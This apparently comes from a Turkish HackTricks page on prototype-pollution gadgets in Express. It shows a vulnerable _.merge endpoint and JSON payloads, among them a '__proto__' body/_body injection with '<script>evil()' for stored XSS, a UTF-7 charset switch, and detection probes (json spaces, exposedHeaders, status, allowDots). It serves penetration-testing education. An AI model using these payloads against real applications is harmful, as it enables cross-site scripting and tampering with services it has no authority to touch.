Express Prototype Pollution Gadgets

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

XSS yanıtlarını sunma

Daha fazla ayrıntı için orijinal araştırmaya göz atın

JSON içerik türünü HTML olarak değiştirin

Bir JSON içerik türü yanıtı kullanan bir Express uygulamasında ve bir JSON'u yansıtarak:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile Express'i bir HTML yanıtı sunması için kandırabiliriz. Bu güvenlik açığı, uygulamanın res.send(obj) kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

body ve _body özelliklerini kirleterek, Express'in HTML içerik türünü sunmasını sağlamak ve _body özelliğini yansıtmak mümkündür; bu da saklı XSS'ye yol açar.

UTF7'yi Render Et

Express'in UTF-7 içeriği render etmesini sağlamak mümkündür:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Güvenli Tarama Teknikleri

JSON boşlukları

Aşağıdaki PP, bir JSON içindeki niteliklerin işlevselliği bozmayacak şekilde ekstra bir boşluğa sahip olmasını sağlayacaktır:

json
{ "__proto__": { "json spaces": " " } }

Yansıtılan bir JSON şöyle görünecektir:

json
{"foo":  "bar"} -- Note the extra space

Açık Başlıklar

Aşağıdaki PP aracı, sunucunun HTTP başlığını geri göndermesini sağlayacaktır: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

CORS modülünün yüklenmesi gerekmektedir

OPTIONS Yöntemi

Aşağıdaki yük ile, OPTIONS yanıtından bir yöntemi gizlemek mümkündür:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Durum

Aşağıdaki PP yükü kullanılarak dönen durum kodu değiştirmek mümkündür:

json
{ "__proto__": { "status": 510 } }

Hata

Bir prototipe bir dize gibi bir ilkel atadığınızda, bu prototipin bir nesne olması gerektiğinden no-op işlemi üretir. Eğer bir prototip nesnesini Object.prototype'a atamaya çalışırsanız, bu bir istisna fırlatır. Bu iki davranışı prototip kirliliğinin başarılı olup olmadığını tespit etmek için kullanabiliriz:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Yansıtılan Değer

Bir uygulama yanıtında bir nesne içerdiğinde, __proto__ ile birlikte alışılmadık bir isimle bir özellik oluşturmak faydalı olabilir. Özellikle, eğer yalnızca alışılmadık özellik yanıt olarak döndürülüyorsa, bu uygulamanın zayıflığını gösterebilir:

json
{ "unusualName": "value", "__proto__": "test" }

Ayrıca, Lodash gibi bir kütüphane kullanıldığında, bir özelliği hem prototip kirlenmesi (PP) yoluyla hem de doğrudan nesne içinde ayarlamak başka bir tanısal yaklaşım sunar. Eğer böyle bir özellik yanıttan çıkarılmışsa, bu, Lodash'ın birleştirmeden önce hedef nesnede özelliğin varlığını doğruladığını gösterir:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Çeşitli

Noktalara İzin Ver

Express'te sorgu dizesi parametrelerinden nesneler oluşturmanıza olanak tanıyan bir seçenek vardır.
Kesinlikle bir hata zincirinde kullanarak bir prototip kirlenmesi açığını istismar edebilirsiniz.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz Node'da bir nesne oluşturur.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin